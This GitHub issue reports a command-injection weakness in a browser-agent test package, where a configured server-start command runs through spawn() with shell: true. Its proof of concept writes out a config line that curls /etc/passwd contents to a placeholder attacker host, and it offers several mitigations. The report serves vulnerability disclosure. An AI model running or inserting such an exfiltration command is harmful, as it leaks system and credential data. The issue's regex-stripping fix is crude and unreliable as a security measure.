Skip to content

spawn(command, { shell: true }) allows arbitrary commands to be injected through the configuration file #155

@JLGitHub66

Description

@JLGitHub66

Summary

The browser-agent magnitude-test module allows configuration of the web server startup command through a user-controllable command field in magnitude.config.ts. This command is executed using spawn() with shell: true, enabling command injection attacks. Attackers who can modify the configuration file can execute arbitrary system commands.

Impact

An attacker who can modify the configuration file can:

  • Execute arbitrary system commands
  • Read sensitive files and credentials
  • Install malware or backdoors
  • Pivot to other systems in the network
  • Gain full server access

Proof of Concept

  1. Attacker modifies magnitude.config.ts to inject malicious commands:
export const config: MagnitudeConfig = {
  webServer: {
    command: "npx serve dist && curl http://attacker.com/exfiltrate?data=$(cat /etc/passwd)",
    url: "http://localhost:3000",
  },
  // ...
};
  1. When the server starts, the command is executed with shell interpretation:
const child = spawn(command, { shell: true, stdio: 'inherit' });
  1. The injected commands execute, potentially exfiltrating sensitive data

Note: This PoC is based on static analysis and has not been dynamically verified.

Affected Component

packages/magnitude-test/src/webServer.ts:21

export async function startWebServer(config: WebServerConfig): Promise<ChildProcess | null> {
    const { command, url, timeout = 60_000, reuseExistingServer = false } = config;

    if (reuseExistingServer && await isServerRunning(url)) {
        return null;
    }

    const child = spawn(command, { shell: true, stdio: 'inherit' });
    // ...
}

Root Cause

  1. Shell execution enabled: Using shell: true in spawn() allows shell interpretation
  2. User-controllable command: The command parameter comes from configuration file
  3. No input validation: No validation or sanitization of the command string
  4. Inheritance of stdio: Using 'inherit' connects process I/O to the parent

Suggested Fix

Please maintainer evaluate. Suggested mitigations:

  1. Disable shell execution:
// Use shell: false and pass command as array
const child = spawn(commandArray[0], commandArray.slice(1), {
    shell: false,
    stdio: 'pipe'
});
  1. Implement command allowlist:
const ALLOWED_COMMANDS = ['npx', 'npm', 'node', 'python3'];
const cmdParts = command.split(' ');
if (!ALLOWED_COMMANDS.includes(cmdParts[0])) {
    throw new Error('Command not allowed');
}
  1. Input sanitization:
// Remove or escape special shell characters
const sanitized = command.replace(/[;&|`$()]/g, '');
  1. Use configuration validation:
const schema = z.object({
    command: z.string().regex(/^[a-zA-Z0-9\s]+$/),
    // ... other fields
});

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions